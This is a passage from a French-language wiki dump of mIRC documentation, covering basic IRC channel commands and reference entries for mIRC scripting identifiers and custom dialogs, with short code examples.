s'ouvrira indiquant que la manœuvre a réussi. ===Création d'un nouveau canal=== Vous pouvez créer un nouveau canal, si celui-ci n'existe pas déjà seulement en le joignant. Admettons que vous voulez créer le canal #bulles, vous devrez seulement taper /join #bulles, et s'il n'existe pas, il sera créé pour vous. S'il existe déjà vous n'allez que le joindre comme n'importe quel autre canal. ===Parler Sur Un Canal=== Pour parler sur un canal, vous ne faites qu'entrer le texte au bas de l'écran, et appuyer sur la touche retour. Votre message sera envoyé au canal et tout le monde le verra. Un premier message serait du genre hello :). La liste à droite de la fenêtre du canal est la liste de tous ceux qui sont sur ce canal. Si vous appuyez sur le bouton droit de votre souris dans cette boîte, vous aurez alors un menu avec différentes options. Les Menus Popups sont en fait utilisés partout dans mIRC, vous pouvez faire de même dans la fenêtre statut, ou dans la fenêtre du canal elle-même et un menu différent apparaîtra. Ces menus sont configurables, et vous pouvez les changer dans le dialog Popups et exécuter n'importe quelle fonction voulue. ===Quitter Un Canal=== Vous pouvez quitter un canal en appuyant sur le bouton de fermeture de fenêtre ou utilisez la commande /part, qui est une autre Commande IRC semblable à /join. Le format de /part est /part #channel où #channel est le nom du channel à quitter. Si vous faites seulement /part, vous quitterez alors le canal courant. Indice: Vous pouvez cliquer sur le petit carré blanc en haut à gauche dans n'importe quel fenêtre pour avoir accès au Menu Système qui contient des options intéressantes. Programmation mIRC Identifieurs Texte et Numéro 5831 25028 2005-11-06T11:25:12Z MagnetiK 657 Un début.. ==$abs(N)== Retourne la valeur absolue du nombre N. {{Code mIRC|$abs(5)}} retourne 5 {{Code mIRC|$abs(-1)}} retourne 1 ==$and(A,B)== Retourne A ET binaire B. ==$asc(C)== Retourne la valeur ASCII du caractère C. {{Code mIRC|$asc(A)}} retourne 65 {{Code mIRC|$asc(*)}} retourne 42 ==$base(N,inbase,outbase,zeropad,précision)== Convertit le nombre N de inbase à outbase. Les deux derniers paramètres sont optionnels.. {{Code mIRC|$base(15,10,16)}} retourne F {{Code mIRC|$base(1.5,10,16)}} retourne 1.8 {{Code mIRC|$base(2,10,16,3)}} retourne 002 {{Note mIRC|inbase est le format du chiffre à convertir, et outbase est le format du chiffre convertit. Le format, ou base, indique le nombre de chiffres différents composant tous les nombres.}} ==biton(A,N)== Retourne la valeur A avec le Nième bit mis à 1. {{note mIRC|le A est en base décimal et l'opération est effectuée sur une base binaire. De plus, l'incrémentation de N va selon l'ordre de croissance, c'est à dire, le premier chiffre est le chiffre binaire de droite, donc le LSB (Lower Bit) et plus le chiffre N augmente, plus on incrémente sur la gauche vers le MSB (Most bit). Il faut avoir fait de la logique binaire pour comprendre ce que ça veut dire. Prenons le chiffre 5. En base binaire (effectué avec $base(5,10,2)), cela donne 0000 0101 (j'ai fait exprès de rajouté les 0 sur la gauche pour une meilleure visibilité). Quand on fait $biton(5,2) il retourne 7. En regardant le format binaire, 7 est 0000 0111. On voit ici que le 2ème bit a été mis à 1. Quand on fait $biton(5,4) il retourne 13. En regardant le format binaire, 13 est 0000 1101. On voit ici que le 4ème bit a été mis à 1.}} ==$bitoff(A,N)== Retourne la valeur A avec le Nième bit mis à 0. {{Note mIRC|le A est en base décimal et l'opération est effectuée sur une base binaire. De plus, l'incrémentation de N va selon l'ordre de croissance, c'est à dire, le premier chiffre est le chiffre binaire de droite, donc le LSB (Lower Bit) et plus le chiffre N augmente, plus on incrémente sur la gauche vers le MSB (Most bit). Il faut avoir fait de la logique binaire pour comprendre ce que ça veut dire. Prenons le chiffre 5. En base binaire (effectué avec $base(5,10,2)), cela donne 0000 0101 (j'ai fait exprès de rajouté les 0 sur la gauche pour une meilleure visibilité). Quand on fait $bitoff(7,2) il retourne 5. En regardant le format binaire, 5 est 0000 0101. On voit ici que le 2ème bit a été mis à 0. Quand on fait $bitoff(13,4) il retourne 5. En regardant le format binaire, 5 est 0000 0101. On voit ici que le 4ème bit a été mis à 0.}} ==$bytes(N,bkmgt3)== Retourne la taille du fichier en format anglais (la virgule au niveau des milliers) Propriétés : suf Les options bkmgt retournent le résultat en octets (b), kilo-octets (k), mégaoctets (m), giga-octets (g), téraoctets (t). La propriété .suf ajoute les suffixes b, k, M, G, T au résultat. L'option 3 retourne un résultat au format 3 digits. ==$calc(opérations)== Retourne le résultat des opérations spécifiées. ==$ceil(N)== Retourne N arrondi à la valeur entière supérieure. ==$chr(N)== Retourne le caractère ASCII en nombre N. {{Code mIRC|$chr(65)}} retourne A {{Code mIRC|$chr(42)}} retourne * $compress(fichier|&bvar, blN) $decompress(fichier|&bvar) Compresse le fichier spécifié ou la variable binaire. Le résultat est une donnée brute compressée. Où b indique une variable binaire dans le premier paramètre, et lN met un niveau de compression compris entre 1 et 6 (par défaut 6). Retourne 1 pour succès, 0 pour échec. $cos(N), $acos(N) Retourne le cosinus et l'arc-cosinus de N. Propriétés : deg $count(chaîne,sous-chaîne,sous-chaîne2,...,sous-chaîne) Retourne le nombre de fois que la sous-chaîne survient dans la chaîne. $count(hello,el) retourne 1 $count(hello,l) retourne 2 $encode(%var | &binvar, mubt, N) $decode(%var | &binvar, mubt, N) Encode ou décode le texte en %vars ou &binvars en utilisant Uuencode ou Mime. Le second paramètre se compose d'options où m = mime, u = uucode (défaut), b = &binvar, et t = texte (défaut). La ligne finale encodée est constituée de jusqu'à 60 caractères groupés. Vous pouvez spécifier N si vous voulez que mIRC retourne le Nième groupe. N = 0 retourne le nombre total de groupes dans la ligne. Si encodage/décodage d'un binvar, les identifieurs retournent le nombre actuel de caractères écrits dans la &binvar. Notez que l'encodage utilise 33% plus d'espace de stockage. Les deux derniers paramètres sont optionnels, par défaut mis à uuencode, et N = 1. $floor(N) Retourne N arrondi la valeur entière inférieure. $int(N) Retourne la partie entière d'un nombre flottant sans arrondi. $int(3.14159) retourne 3 $isbit(A,N) Retourne 1 si le Nième bit dans le nombre A est à 1. $islower(texte) Retourne $true si le texte a une casse minuscule. $isupper(texte) Retourne $true si le texte a une casse majuscule. $left(texte,N) Retourne les N caractères à partir de la gauche du texte. $left(goodbye,4) retourne good Si N est une valeur négative, il retourne tout sauf les N caractères de droite. $len(texte) Retourne la longueur du texte. $len(#mIRC) retourne 5 $log(N) Retourne le logarithme naturel de N. $longip(adresse) Convertit une adresse IP en une valeur longue et vice-versa. $longip(158.152.50.239) retourne 2660774639 $longip(2660774639) retourne 158.152.50.239 $lower(texte) Retourne le texte en casse minuscule. $lower(HELLO) retourne hello $mid(texte,S,N) Retourne N caractères commençant à la position S dans le texte. $mid(othello,3,4) retourne hell Si N est zéro, il retourne le nombre de caractères de S jusqu'à la fin de la ligne. Vous pouvez également utiliser des nombres négatifs pour S ou N. $not(A) Retourne la valeur non binaire de A. $or(A,B) Retourne A OU binaire de B. $ord(N) Ajoute st, nd, rd, th au nombre approprié du nombre N. $pos(texte,chaîne,N) Retourne un nombre indiquant la position de la Nième occurrence de la chaîne dans le texte. $pos(hello there,e,1) retourne 2 $pos(hello there,e,2) retourne 9 $pos(hello there,a,1) retourne $null Si N est zéro, il retourne le nombre de fois que la chaîne apparaît dans le texte. Note : Vous pouvez utiliser $poscs() pour une version sensible à la casse. $r , $rand(v1,v2) Cela fonctionne de deux façons. Si vous fournissez avec des nombres pour v1 et v2, il retourne un nombre aléatoire entre v1 et v2. Si vous fournissez des lettres, il retourne une lettre aléatoire entre les lettres v1 et v2. $rand(a,z) retourne une lettre dans la gamme a,b,c,...,z $rand(A,Z) retourne une lettre dans la gamme A,B,C,...,Z $rand(0,N) retourne un nombre dans la gamme 0,1,2,...,N $remove(chaîne,sous-chaîne,...) Retire toute occurrence de sous-chaîne dans la chaîne. $remove(abcdefg,cd) retourne abefg Vous pouvez également spécifier de multiples paramètres de soustraction dans la chaîne : $remove(abcdefg,a,c,e,g) retourne bdf Note : Vous pouvez utiliser $removecs() pour une version sensible à la casse. $replace(chaîne,sous-chaîne,nouvellechaîne,...) Remplace toute occurrence de la sous-chaîne dans la chaîne par la nouvelle chaîne. $replace(abcdefg,cd,xyz) retourne abxyzefg Vous pouvez également spécifier de multiples paramètres de remplacement : $replace(abcdefg,a,A,b,B,c,C,d,D) retourne ABCDefg Note : Vous pouvez utiliser $replacecs() pour une version sensible à la casse. $replacex(chaîne,sous-chaîne,nouvellechaîne,...) Remplace toute occurrence de la sous-chaîne par la nouvelle chaîne exceptée pour des remplacements qui ont déjà été fait. Note : Vous pouvez utiliser $replacexcs() pour une version sensible à la casse. $right(texte,N) Retourne les N caractères du texte à partir de la droite. $right(othello,5) retourne hello Si N est une valeur négative, il retourne tout sauf les N caractères. $round(N,D) Retourne l'arrondi flottant spécifié au Dième digit décimal. $round(3.14159,2) retourne 3.14 Le paramètre D est optionnel. $sin(N), $asin(N) Retourne le sinus et l'arc sinus de N. Propriétés : deg $sqrt(N) Retourne la racine carrée de N. $str(texte,N) Retourne le texte répété N fois. $str(ho,3) retourne hohoho $strip(texte,burcmo) Retourne le texte sans les codes gras (b), souligné (u), inversé (r), et contrôle (c). Le paramètre burcmo est optionnel. S'il est utilisé, il retire seulement les types de caractères spécifiés. Le m applique les réglages dans le dialogue Messages, et le o applique les réglages "only if numbers of codes exceed" (Seulement si le nombre de codes excèdent) dans le dialogue messages. $stripped Retourne le nombre de codes de contrôle qui ont été retirés d'un message arrivant, s'il y en a. Cela peut être utilisé dans tout événement de script lorsqu'un message est reçu d'un utilisateur. $tan(N), $atan(N) Retournent la tangente et l'arc tangente de N. Propriétés : deg $upper(texte) Retourne le texte en lettre majuscule. $upper(hello) retourne HELLO $wrap(texte, fonte, taille, largeur, [mot,] N) Retourne la Nième ligne dans le texte découpé à la largeur spécifiée en pixels. Si l'optionnel paramètre mot est 1, le texte est découpé en mots entiers (lequel est par défaut). Vous pouvez spécifier 0 pour N pour retourner le nombre total de lignes découpées. $xor(A,B) Retourne A XOR binaire de B. Programmation mIRC Dialogues 5832 25128 2005-11-06T18:49:23Z MagnetiK 657 mIRC vous permet de créer des dialogues personnalisés qui peuvent être utilisés pour des entrées de requêtes pour un utilisateur ou pour accomplir de nombreuses autres tâches utiles. Il y a deux types de dialogues; un dialogue sans mode, créé par la commande /dialog, et un dialogue modal, créé avec l'identifieur $dialog(). Les deux sont décrits ci-dessous. ==La commande /dialog== La commande /dialog vous permet de créer un dialogue sans mode avec le paramètre -m. Ce type de dialogue n'arrête ni ne retourne une valeur au script appelant, et le dialogue peut être affiché indéfiniment et utilisé pour de nombreux buts. /dialog -mdltsonkcvie nom [table] [x y w h] [texte] {{Lsparammirc|-m|crée un dialogue sans mode en utilisant 'table' /dialog -m nom table}} {{Lsparammirc|-a|utilisé avec -m, utilise actuellement une fenêtre active comme parent }} {{Lsparammirc|-l|Cherche la table du dialogue dans le fichier remote actif avant de chercher dans les autres}} {{Lsparammirc|-x|Ferme un dialogue sans déclencher un évènements }} {{Lsparammirc|-d|Ouvre un dialogue sur le bureau, utilisé avec -m}} {{Lsparammirc|-h|Fait travailler le dialogue avec la connexion du serveur actif }} {{Lsparammirc|-t|Règle le titre du dialogue /dialog -t nom texte}} {{Lsparammirc|-s|Règle la position/taille du dialogue /dialog -s nom x y w h}} {{Lsparammirc|-r|Centre le dialogue }} {{Lsparammirc|-bp|Interprète la taille en dbu ou en pixels }} {{Lsparammirc|-o|Mets le dialogue 'Placer au-dessus' de toutes les fenêtres}} {{Lsparammirc|-n|Efface le réglage 'Placer au-dessus'}} {{Lsparammirc|-k|Clique sur le bouton ok}} {{Lsparammirc|-c|Clique sur le bouton cancel}} {{Lsparammirc|-v|Met le dialogue en fenêtre active }} {{Lsparammirc|-ie|Minimise/restaure le dialogue s'il est créé sur le bureau }} Où nom est le nom par lequel vous vous referez au dialogue, et table est le nom de la table du dialogue utilisée pour créer le dialogue (voir ci-dessous). ==L'identifieur $dialog()== Les dialogues créés avec $dialog() sont modaux. En d'autres termes, ils arrêtent le script jusqu'à ce que le dialogue soit refermé, puis retournent une valeur, donc ne permettent pas d'accéder à d'autres fenêtres pendant que ce dialogue est ouvert. Ces types de dialogue devraient seulement être affichés pour une entrée utilisateur immédiat. L'identifieur $dialog() fonctionne de la même façon que les autres identifieurs : {{Code mIRC|%result = $dialog(nom,table[,parent])}} Où nom est le nom par lequel vous vous référerez au dialogue, table est la table du dialogue utilisée pour créer un dialogue (voir ci-dessous), et parent est la fenêtre parente du dialogue. Parent peut être : *un nom de fenêtre, *-1 = fenêtre bureau, *-2 = fenêtre mIRC principale, *-3 = fenêtre actuellement active, *-4 = dialogue actuellement actif. Si aucun dialogue n'est ouvert, la valeur par défaut est généralement -3. {{Note mIRC|Ce type de dialogue ne peut pas être appelé depuis un évènement d'un script remote.}} Vous pouvez également utiliser l'identifieur $dialog(nom/N) pour lister tous les dialogues ouverts, où N est le Nième dialogue ouvert. Si N est nul, le nombre total de dialogues ouverts est retourné. $dialog() supporte également ces propriétés : x,y,w,h retourne la taille et la position du dialogue cw,ch retourne la largeur et la hauteur de la zone client du dialogue title retourne le titre du dialogue modal retourne $true si le dialogue est modal, $false autrement table retourne la table du dialogue qu'il utilise ok retourne l'identité du bouton OK si vous en avez spécifiez un cancel retourne l'identité du bouton Cancel si vous en avez spécifié un result retourne l'identité du bouton Result si vous en avez spécifié un focus retourne l'identité du contrôle qui est en focus actuellement tab retourne l'identité de la tabulation actuellement affichée active retourne $true si le dialogue est la fenêtre active, $false autrement hwnd retourne le handle de la fenêtre du dialogue ==La table du dialogue== Vous pouvez utiliser le préfixe dialog pour créer une table de dialogue appelée nom dans un script de ce format : Note de scripteur : Il est plus que conseillé de mettre un bouton de type OK lors de la création de vos dialogues. Certaines DLLs ou vieilles versions de mIRC ne supportent pas la non-présence de ce bouton OK. {{Code mIRC|dialog [-l] nom { title "texte" icon nomdefichier, index size x y w h option type (dbu, pixels, notheme) text "texte", id, x y w h, style (right, center, nowrap ) edit "texte", id, x y w h, style (right, center, multi, pass, read, return, hsbar, vsbar, autohs, autovs, limit N ) button "texte", id, x y w h, style (default, ok, cancel, flat , multi ) check "texte", id, x y w h, style (left, push, 3state) radio "texte", id, x y w h, style (left, push) box "texte", id, x y w h, style scroll "texte", id, x y w h, style (top left bottom right horizontal range N N ) list id, x y w h, style (sort, extsel, multsel , size , vsbar, hsbar) combo id, x y w h, style (sort, edit, drop, size, vsbar, hsbar) icon id, x y w h, nomdefichier, index, style (noborder top left bottom right) link "texte", id, x y w h tab "texte", id, x y w h tab "texte", id menu "texte", IDmenu [, IDmenu] item "texte", id [, IDmenu] item break, id [, IDmenu] }}} Le paramètre -l rend une table de dialogue locale, ainsi elle ne peut être accédée que par d'autres scripts dans le même fichier. Où "texte" est le texte par défaut pour un contrôle, id est un numéro qui identifie uniquement un contrôle, x y w h sont la position et la taille du contrôle, et style se compose en une combinaison de mots entre parenthèses. =Autres styles= En plus des styles montrés entre parenthèses pour chaque type de contrôle, vous pouvez également spécifier ces styles : disable désactive le contrôle hide cache le contrôle group début d'un groupe result identifie le contrôle auquel la valeur sera utilisée comme valeur de retour au script appelant quand l'utilisateur presse le bouton ok =Variables= Si vous spécifiez un nom %variable dans une définition d'item dans un nom de dialogue, le %variable sera réglé avec le contenu de cet item quand le dialogue est fermé. edit "", 2, 10 10 100 20, autohs %result =Contrôle tab= La première définition de tab spécifie la taille du contrôle tabulation, et toutes définitions suivantes de tab s'ajoutent aux tabulations. Vous pouvez associer les contrôles avec une tabulation spécifique en utilisant le style tab suivi de la valeur id pour le tab, comme montré dans l'exemple ci-dessous. {{Code mIRC|dialog test { title "mIRC" size -1 -1 110 100 option dbu tab "m", 1, 5 5 100 90 tab "I", 2 tab "R", 3 tab "C", 4 button "m est pour... ;)", 11, 30 50 50 24, ok tab 1 button "I est pour Internet", 12, 30 50 50 24, tab 2 button "R est pour Relay", 13, 30 50 50 24, tab 3 button "C est pour Chat", 14, 30 50 50 24, tab 4 }}} Vous pouvez utiliser /did -fu pour régler le focus sur un tab spécifique, et /did -vh pour montrer/cacher le contrôle tab entier. =Menus= Vous pouvez ajouter des menus et sous-menus aux dialogues en utilisant les préfixes menu et item : dialog nom { menu "texte", <IDmenu> [, IDmenu] item "texte", <id> [, IDmenu] item break, <id> [, IDmenu] } Si vous ne spécifiez pas un IDmenu pour un item, il utilisera le dernier IDmenu qui a été créé/utilisé dans un précédent menu/item. Par exemple, la définition du menu suivant reproduit le menu file du dialogue d'édition de mIRC : {{Code mIRC|dialog test { title "mIRC" size -1 -1 110 100 option dbu menu "&File", 60 item "&New", 70 menu "&Load", 80, 60 item "&Script", 90 item break, 100 item "&Users", 110 item "&Variables", 120 item "&Unload", 130, 60 item break, 140 item "&Save", 150 item "&Save As...", 160 item "Save &All", 170 item break, 180 item "Save && &exit", 190, ok item "&Cancel", 200, cancel }}} Vous pouvez utiliser la commande /did (décrite ci-dessous) pour activer/désactiver, cocher/décocher, ajouter, effacer, insérer, et écraser un item de menu. Pour ajouter un item à un menu que vous pouvez utiliser : /did -a nom <IDmenu> <nouveauID> <texte>. Pour insérer un item que vous devez utiliser : /did -i nom <id> <nouveauID> <texte> où <id> est l'item avant lequel vous voulez insérer un item. =Dbu contre Pixels= L'option dbu fait que mIRC utilise les unités de base du dialogue lors de la création du dialogue. Cela assure que le dialogue sera vu de la même façon sous tous les types d'affichage. Pixels est la valeur par défaut cependant pour maintenir la compatibilité avec les précédents scripts. Les identifieurs $dbuw et $dbuh retournent les valeurs de la hauteur et la largeur par pixel du dbu de l'affichage actuel. Cela peut ne pas être une valeur entière. =Boutons Ok et Cancel= Vous pouvez spécifier un bouton ok et/ou cancel, et quand l'utilisateur clique sur les boutons ok ou cancel le dialogue est fermé. Vous pouvez empêcher le dialogue de se fermer si un utilisateur clique sur le bouton ok en utilisant /halt. =Position et taille par défaut= Si vous spécifiez -1 pour n'importe quelles valeurs x y w h dans les réglages de taille pour le dialogue, un réglage par défaut est utilisé. Pour faire centrer le dialogue dans une fenêtre, spécifiez x y en -1 -1. Le réglage de taille peut être surmonté dans l'évènement init (voir ci-dessous) en utilisant /dialog -s nom x y w h. ==L'évènement On Dialog== Si un utilisateur change l'état des contrôles dans le dialogue, par exemple cliquer sur un bouton, taper du texte dans une boite d'édition, etc., cela déclenche l'événement de script on dialog ce qui permet de contrôler l'entrée de l'utilisateur : on 1:dialog:nom:évènement:id: { echo $dname $devent $did } $dname Nom du dialogue utilisé pour cet évènement $devent Type d'évènement déclenché $did Numéro d'identité du contrôle déclenché Où nom identifie le dialogue, id est le numéro d'identité du contrôle déclenchant l'évènement, et l'événement peut être : active s'active sur le dialogue quand il est actif init juste avant que le dialogue soit affiché, les contrôles peuvent être initialisés dans cet événement. L'identité est nulle. close Quand le dialogue est fermé. edit Le texte dans la boite d'édition ou la boite combo a changé. sclick Un seul clic dans la liste/boite combo, cocher/décocher des boutons radio/check ou cliquer sur un bouton. dclick Double clic dans une liste/boite combo. menu Un item du menu a été sélectionné. scroll La position du contrôle scroll a changé. Vous pouvez détecter les évènements de souris qui n'est pas associé au contrôle spécifique : mouse La souris a bougé sclick bouton gauche cliqué uclick bouton gauche relevé dclick double clique rclick bouton clique droit drop clique de déplacement Vous pouvez utiliser $mouse pour récupérer la position actuelle de la souris. ==La commande /did== La commande /did vous permet de modifier les valeurs des contrôles dans un dialogue, par exemple changer le texte dans un contrôle edit ou mettre le focus sur un bouton ou effacer des lignes dans une liste. /did -ftebvhnmcukradiogj nom id [n] [texte | nomdefichier] {{Lsparammirc|-f|Met le focus sur l'id}} {{Lsparammirc|-t|Met l'id du bouton par défaut}} {{Lsparammirc|-e|Active l'id}} {{Lsparammirc|-b|Désactive l'id}} {{Lsparammirc|-v|Rend l'id visible}} {{Lsparammirc|-h|Cache l'id}} {{Lsparammirc|-n|Active la boite d'édition }} {{Lsparammirc|-m|Désactive la boite d'édition}} {{Lsparammirc|-c|Coche la boite check/bouton radio, la ligne de la liste/combo}} {{Lsparammirc|-u|Décoche la boite check/bouton radio, la ligne de la liste/combo}} {{Lsparammirc|-k|fonctionne avec -cu, garde les autres sélections dans une liste}} {{Lsparammirc|-r|Efface tout le texte dans l'id}} {{Lsparammirc|-a|Ajoute la ligne de texte à la fin}} {{Lsparammirc|-d|Efface la Nième ligne}} {{Lsparammirc|-i|Insère le texte à la Nième ligne}} {{Lsparammirc|-o|Ecrase la Nième ligne par le texte}} {{Lsparammirc|-g|Met une nouvelle image icône/bmp dans un contrôle icon /did -g nom id [n] nomdefichier}} {{Lsparammirc|-z|Efface la largeur de la barre de défilement (scrollbar) horizontale dans une liste }} {{Lsparammirc|-j|Efface les réglages édités dans une boite d'édition }} Où nom identifie le dialogue et id est le numéro d'identité du contrôle que vous voulez modifier. Si vous voulez modifier plusieurs contrôles en même temps, vous pouvez spécifier de multiples numéros d'identité séparés d'une virgule, par exemple /did -b nom 2,12,14,16 etc. Vous pouvez sélectionner une portée de texte dans une boite d'édition en utilisant /did -c nom id [n] [start [end]]. Cela sélectionne la ligne N dans une boite d'édition, et règle la sélection à la portée spécifiée de caractères. Vous pouvez mettre la case à cocher 3 états en position indéterminée en spécifiant les deux paramètres -cu. Vous pouvez accéder au contrôle edit dans une boite combo en utilisant 0 à la valeur N. Pour changer la portée d'un contrôle barre de défilement (scrollbar), vous pouvez utiliser /did -z nom id [min max]. ==L'identifieur $did(nom,id)== Vous pouvez obtenir les réglages et valeurs des contrôles dans un dialogue en utilisant l'identifieur id de dialogue $did() avec les formats et propriétés suivants appropriés au contrôle auquel vous vous référez. $did(nom,id) $did(nom,id,N) Si utilisé dans un évènement de dialogue, nom est optionnel. Les propriétés $did() suivantes supportées : text retourne la ligne ou la Nième ligne $did(id) est la même que $did(id).text len retourne la longueur de ligne ou la longueur de la Nième ligne lines retourne le nombre de lignes sel retourne le numéro de ligne de la Nième ligne sélectionnée Si N est nul, retourne le nombre de lignes sélectionnées seltext retourne le texte sélectionné dans une boite d'édition ou le premier item sélectionné dans une liste selstart retourne le caractère de départ dans une ligne d'édition selend retourne le caractère de fin sélectionné dans une ligne d'édition edited retourne $true si le texte dans une boite d'édition a changé state retourne l'état du contrôle : 0 = off, 1 = on, et 2 = indéterminé next retourne l'identité du prochain contrôle dans l'ordre de tabulation prev retourne l'identité du précédent contrôle dans l'ordre de tabulation visible retourne $true si le contrôle est visible, $false autrement enabled retourne $true si le contrôle est activé, $false autrement Vous pouvez accéder au contrôle edit dans une boite combo en utilisant 0 dans la valeur N. ==$didwm(nom,id,textejoker,N)== Retourne le nombre de lignes qui correspond au texte joker, auquel la recherche peut commencer à la ligne N. N est optionnel. ==$didreg(nom,id,regex,N)== Retourne le nombre de ligne qui correspond à l'expression régulière, avec la recherche commençant à la ligne N, N est optionnel. ==$didtok(nom,id,C)== Retourne une liste tokenizée d'items dans une liste/boite combo/d'édition. Vous pouvez utiliser /didtok nom id C texte pour ajouter une liste tokenizée d'items à une liste/boite combo/d'édition. Programmation mIRC Autres Identifieurs 5833 34922 2006-02-26T22:00:32Z Greudin 1 /* $cb(N) */ l'ip ou le nom est déjà dans l'historique {{Programmation mIRC}} ==$+(n1,...,nN)== Combine tous les paramètres spécifiés, même chose en utilisant $+ entre chaque item. ==$?*!="message"== Demande à l'utilisateur une entrée et retourne le résultat. {{Code mIRC|<nowiki>//Echo -a $?="Quel est votre nom ?"</nowiki>}} Si l'utilisateur entre leur nom dans la boite d'édition et presse le bouton OK, $? Retournera ce que l'utilisateur a entré. Si l'utilisateur clique sur le bouton Cancel, $? Retourne rien. {{Code mIRC|<nowiki>//Echo -a $?*="Quel est votre mot de passe ?"</nowiki>}} Dans ce cas, le $?* transforme tout le texte que l'utilisateur tape en caractères ***** pour empêcher quiconque regardant ce qui est entré. {{Code mIRC|<nowiki>//Echo -a $?!="Continue-je?"</nowiki>}} Dans ce cas, un dialogue Yes/No apparaît. Si l'utilisateur clique sur Yes, $true est retourné, autrement $false est retourné. Le dialogue d'entrée est étendu verticalement pour afficher le message en entier s'il est très long. Vous pouvez également faire apparaître différentes lignes en utilisant l'identifieur $crlf pour séparer les lignes par exemple. {{Code mIRC|<nowiki>$?="C'est la première ligne. $crlf $+ Et c'est la seconde ligne."</nowiki>}} {{Note mIRC|Cet identifieur ne peut pas être utilisé dans un évènement de script. /timer permet d'initier une requête d'entrée à la fin des scripts.}} ==$ansi2mirc(texte)== Retourne le texte avec les codes ANSI converti en codes couleur mIRC. ==$away == Retourne la valeur $true ou $false selon si vous êtes marqué away ou non. Vous pouvez également utiliser $awaymsg et $awaytime pour retourner vos réglages away actuels. . ==$cb== Retourne les 256 premiers caractères du contenu du bloc-notes. ==$cb(N) == Retourne les lignes délimitées de $crlf du texte actuellement dans le bloc-notes. Retourne ce qu'il y a dans le clip board Propriétés : len *$cb(0) retourne le nombre de lignes dans le bloc-notes *$cb(0).len retourne la longueur totale de toutes les lignes dans le bloc-notes *$cb(1) retourne la ligne 1 du bloc-notes *$cb(1).len retourne la longueur totale de la ligne 1 ==$chantypes == mIRC supporte le token numérique 005 CHANTYPES, et peut gérer un groupe dynamique de préfixes de salon. $chantypes retourne la liste des préfixes de salon qui peuvent être joint, par exemple #mIRC, &mIRC. Quand on n'est pas connecté au serveur, mIRC utilise une valeur $chantypes par défaut (à savoir CHANTYPES=#&.) ==$chanmodes == mIRC supporte le token numérique 005 CHANMODES, et peut gérer un groupe dynamique de modes de salon. $chanmodes retourne la liste des modes du salon supportés, par exemple '+k moo' pour régler la clé du salon à 'moo'. Quand on n'est pas connecté au serveur, mIRC utilise une valeur $chanmodes par défaut (à savoir CHANMODES=bIe,k,l.) ==$cmdbox == Retourne $true si une commande ou script a été initiée via la boite d'édition dans une fenêtre salon. ==$cmdline == Retourne la ligne de commande qui a été passée à mIRC quand il a été exécuté. ==$color(nom/N)== Retourne le Nième index de la couleur spécifiée, par exemple $color(action text). Si vous ne spécifiez pas le nom complet, la première correspondance est retournée, par exemple $color(action) Si vous spécifiez une valeur N, retourne la valeur RGB de la Nième boite de couleur. Propriétés : dd *$color(action).dd retourne le nombre sous le format deux digits ==$cr == Retourne le caractère carriage return, le même que $chr(13). ==$creq == Retourne les réglages actuels de /creq dans les le dialogue Options, section Option, partie On send request. ==$crlf == Retourne une combinaison carriagereturn/linefeed. ==$dccignore == Retourne $true si les types d'ignore sont activés dans le dialogue Ignore DCC, autrement retourne $false. ==$dccignore(N/nom de fichier)== Retourne le Nième item dans la boite d'édition Types dcc ignorés dans le dialogue DCC Folders. Si N est zéro, retourne le nombre d'items dans la liste, autrement retourne le Nième item dans la liste. Si un nom de fichier est spécifié, retourne $true s'il correspond à l'item dans la liste, autrement $false. ==$dccport == Retourne le port en cours d'utilisation par le DCC Server. ==$dll(nom.dll,procname,data)== Retourne la valeur résultant d'un appel à une DLL conçue pour travailler avec mIRC. ==$editbox(fenêtre,N) == Retourne le texte dans une boite d'édition de la fenêtre spécifiée. Si N = 1, retourne le texte dans la seconde boite d'édition d'une fenêtre salon si elle est ouverte. ==$emailaddr == Retourne le courriel spécifié dans le dialogue de connexion. ==$eval(texte,N) == Evalue le contenu du texte N fois. Si N n'est pas spécifié, le défaut est N = 1. Si N est zéro, le texte n'est pas évalué. Cela vous permet d'évaluer de manière récursive les identifieurs et variables dans une ligne de texte. ==$fullname == Retourne le nom complet spécifié dans le dialogue de connexion. ==$hash(texte,B) == Retourne un nombre haché basé sur le texte où B est le nombre de bits utilisés lors du calcul du nombre haché. ==$highlight == Retourne $true si le clignotement est activé dans le dialogue Highlight, sinon retourne $false. ==$highlight(N/texte) == Retourne la Nième ligne dans la liste de clignotement ou si le texte est spécifié, retourne les propriétés de la ligne de clignotement qui correspond au texte. Propriétés : text, color, sound, flash, message, nicks, cs ==$host == Retourne votre nom d'hôte local. ==$iif(C,T,F) == Retourne T ou F selon si l'évaluation du conditionnel C est vrai ou fausse. {{Code mIRC|<nowiki>$iif(1 == 2, yes, no)</nowiki>}} -> retourne "no" $iif() retourne F si le conditionnel retourne zéro, $false ou $null. Pour tout autre valeur $iif() retourne T. Si vous ne spécifiez pas le paramètre F, $iif retourne une valeur T si la condition est vraie, et ne retourne rien s'il est faux. {{Code mIRC|<nowiki>$iif(1 == 2, yes)</nowiki>}} -> ne retourne rien Vous pouvez en savoir plus sur les conditionnels dans la section if-then-else. ==$ignore(N/adresse)== Retourne la Nième adresse dans la liste d'ignore. Propriétés : type, secs *$ignore(0) retourne le nombre total d'adresses dans la liste d'ignore *$ignore(1) retourne la 1ère adresse dans la liste d'ignore *$ignore(2).type retourne les drapeaux d'ignore pour la 2ème adresse dans la liste d'ignore *$ignore(2).secs retourne le nombre de secondes jusqu'à ce que l'ignore soit enlevé si /ignore -uN a été utilisé {{Note mIRC|Si vous spécifiez une adresse, la première adresse correspondante dans la liste d'ignore est retournée.}} ==$inpaste == Retourne $true si un utilisateur a tapé Contrôle+V ou Shift+Insérer pour coller le texte dans une boite d'édition. Très utile lors du traitement d'un événement on INPUT. ==$input(prompt,N,fenêtre,titre,texte) (pour fenêtre) == Demande à l'utilisateur à entrer pour retourner le résultat. Le dialogue d'entrée est étendu verticalement pour afficher le message s'il est très long. Vous pouvez également faire que le texte dans le message apparaisse sur différentes lignes en utilisant l'identifieur $crlf pour séparer les lignes. N peut être une combinaison des options suivantes : *e montre la boite d'édition d'entrée *p montre la boite d'édition d'entrée de mot de passe *o bouton ok *y boutons yes no *n boutons yes no cancel *r boutons retry cancel *v retourne $ok, $yes, $no, $cancel pour les boutons. *g Boutons alignés sur la droite Par défaut, les boutons retournent $true ou $null, idem que $?. S'il y a une boite d'édition d'entrée, les boutons ok/yes retournent toujours les contenus de la boite d'édition. N peut aussi contenir une des options suivante (ou pas) pour spécifier l'icone à afficher : *i Icone "info" *q Icone "question" *w Icone "warning" *h Icone "hand" Si une option d'icone a été spécifiée, on peut alors utiliser cette option : *d joue un son système associé à cet icône. D'autres options sont aussi 